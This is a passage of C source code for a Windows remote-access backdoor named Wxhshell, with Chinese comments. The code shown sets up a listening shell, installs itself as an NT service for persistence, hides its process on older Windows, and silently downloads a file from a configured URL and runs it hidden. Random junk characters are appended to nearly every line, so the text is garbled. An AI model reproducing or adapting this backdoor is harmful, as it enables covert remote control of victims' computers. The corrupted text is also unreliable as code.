ULONG InheritedFromUniqueProcessId; u(pdP"
} PROCESS_BASIC_INFORMATION; 1Yc%0L(
hD nM+4D
PROCNTQSIP NtQueryInformationProcess; _\
.
<u/a`E?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {fog<1c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U/T4i#
xT9Yes&
HANDLE hProcess; H-eEhI(;O
PROCESS_BASIC_INFORMATION pbi; u.Mqj"o\
],;D2]<s
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p+, 1Fi
if(NULL == hInst ) return 0; cQ8dc+ {
UI!6aVL.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g3|BE2?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v~^ks{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6m4Te|
#/OUGeJ
if (!NtQueryInformationProcess) return 0; |h5kg<Zgo
I3Lg?bZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \\=.6cg<K
if(!hProcess) return 0; 6(>3P
s~S?D{!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NTqo`VWe
c]A
Y
CloseHandle(hProcess); ]e^R@w
:
@'fpN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p/r~n'g$
if(hProcess==NULL) return 0; {mNdL J
"XCU'_k=
HMODULE hMod; }qer
char procName[255]; rmOQ{2}
unsigned long cbNeeded; C&=x3Cz
BjM+0[HC
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }o-|8P:Y
`vudS?
CloseHandle(hProcess); +'-rTi\
"Dyym<J
if(strstr(procName,"services")) return 1; // 以服务启动 @ru<4`h
|2z}Xm5\
return 0; // 注册表启动 {tPnj_|n<
} m"n.Dz/S
\CcmePTN#x
// 主模块 >G]?
int StartWxhshell(LPSTR lpCmdLine) "37*A<+f
{ +H7y/#e+3
SOCKET wsl; /:U1!9.y
BOOL val=TRUE; AlO,o[0
int port=0; YU&4yk lE
struct sockaddr_in door; SU/G)&Mi
;t}'X[U
if(wscfg.ws_autoins) Install(); z1F9$^
&]w#z=5SXi
port=atoi(lpCmdLine); DL,[k
(
gW kjUz)
if(port<=0) port=wscfg.ws_port; l{8CISO*
SaCx)8ul0
WSADATA data; 'f 3HKn<L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; djUihcqA`
lqF>=15
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^%;" [r
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [q'eENG
door.sin_family = AF_INET; v{o? #Sk1
door.sin_addr.s_addr = inet_addr("127.0.0.1"); g^jJ8k,7(
door.sin_port = htons(port); ~]&B>q
ei@3,{~5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D}MoNE[r
closesocket(wsl); `aIG;@Z
return 1; /J;;|X#P
} {B3(HiC
6#E7!-u(-
if(listen(wsl,2) == INVALID_SOCKET) { yr5NRs
closesocket(wsl); )!i!3
return 1; ,(P %z.P@
} D3y>iQd
Wxhshell(wsl); wS V@=)H\:
WSACleanup(); l8^y]M
q-YL]PgV
return 0; x@Y|v@}BE
gV|Y54}T
} |~eY%LB
L;3aZt,#O
// 以NT服务方式启动 y`rL=N#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $.a|ae|K
{ 5C B%=iL{
DWORD status = 0; g92dw<$>
DWORD specificError = 0xfffffff; Hq?& Qo
yxvjg\!&
serviceStatus.dwServiceType = SERVICE_WIN32; VgA48qZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0(8gQ
2n
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DcN"=Y
serviceStatus.dwWin32ExitCode = 0; 'j }g
serviceStatus.dwServiceSpecificExitCode = 0; _%%yV
serviceStatus.dwCheckPoint = 0; FuuS"G,S
serviceStatus.dwWaitHint = 0; %*jGim~s
:W~f;k
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &mcR
if (hServiceStatusHandle==0) return; "qS!B.rt:
jn^fgH?
status = GetLastError(); Oxv+1Ub<Dv
if (status!=NO_ERROR) ^7Lk-a7gp
{ !Av1Leb9$
serviceStatus.dwCurrentState = SERVICE_STOPPED; >yKpM }6l{
serviceStatus.dwCheckPoint = 0; .a:Z!KF
serviceStatus.dwWaitHint = 0; VD/&%O8n
serviceStatus.dwWin32ExitCode = status; Lyr2(^#:
serviceStatus.dwServiceSpecificExitCode = specificError; G?<pBMy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LJWTSf"f?
return; _dr*`yXi
} frc{>u~t
E67XPvo1+@
serviceStatus.dwCurrentState = SERVICE_RUNNING; MKC$;>i
serviceStatus.dwCheckPoint = 0; V\AK6U@r^
serviceStatus.dwWaitHint = 0; cz#_<8'N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4[1k\
} 333u]
%}h`+L
// 处理NT服务事件,比如:启动、停止 "y$ qrN-
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9 #Y2`pT
{ zmb@*/fK
switch(fdwControl) p![&8i@ym
{ vU}: U)S
case SERVICE_CONTROL_STOP: $ 6!iBX@
serviceStatus.dwWin32ExitCode = 0; j=W@P-
serviceStatus.dwCurrentState = SERVICE_STOPPED; C`0%C7
serviceStatus.dwCheckPoint = 0; |{f~Ks%
serviceStatus.dwWaitHint = 0; VjB*{,
{ #h N.=~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .!yq@Q|=u
} 4fty~0i=z
return; uoCGSXsi
case SERVICE_CONTROL_PAUSE: ]_u`EvEx6
serviceStatus.dwCurrentState = SERVICE_PAUSED; Fg=v6j4W
break; sKd)BA0`
case SERVICE_CONTROL_CONTINUE: /UHp [yod
serviceStatus.dwCurrentState = SERVICE_RUNNING; vLDi ;
break; 43L|QFo
case SERVICE_CONTROL_INTERROGATE: \f"1}f
break; $)*xC!@6X
}; '#H")i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \XS]N_}8>
} RdI};K
Dx3 %KS
// 标准应用程序主函数 JNBT^=x
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R hio7C
{ ~^7r?<aKc
2.f|2:I
// 获取操作系统版本 9"ugz^uKt
OsIsNt=GetOsVer(); AS|Rd+.
GetModuleFileName(NULL,ExeFile,MAX_PATH); y]'CXCml)
QKccrAo
// 从命令行安装 FJwt?3\u5
if(strpbrk(lpCmdLine,"iI")) Install(); 7`fY*O6
@9vvR7{P
// 下载执行文件 tOH0IE c
if(wscfg.ws_downexe) { zMGzReJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >vVw!.fJ
WinExec(wscfg.ws_filenam,SW_HIDE); -:SIS`0s
} nU17L6'$
PN
&|8_
if(!OsIsNt) { azX`oU,l
// 如果时win9x,隐藏进程并且设置为注册表启动 )%VCzye*{
HideProc(); GV8)Kor%
StartWxhshell(lpCmdLine); {eR9 ;2!
} {|6z+vR
else gz61FW
if(StartFromService()) 5B*qbM
// 以服务方式启动 o&$hYy"<.L
StartServiceCtrlDispatcher(DispatchTable); fHfY}BQS
else y5u\j{?Te
// 普通方式启动 )gXTRkmw
StartWxhshell(lpCmdLine); _~A~+S}
J8;Okzb!L
return 0; 6Z8l8:r-6
}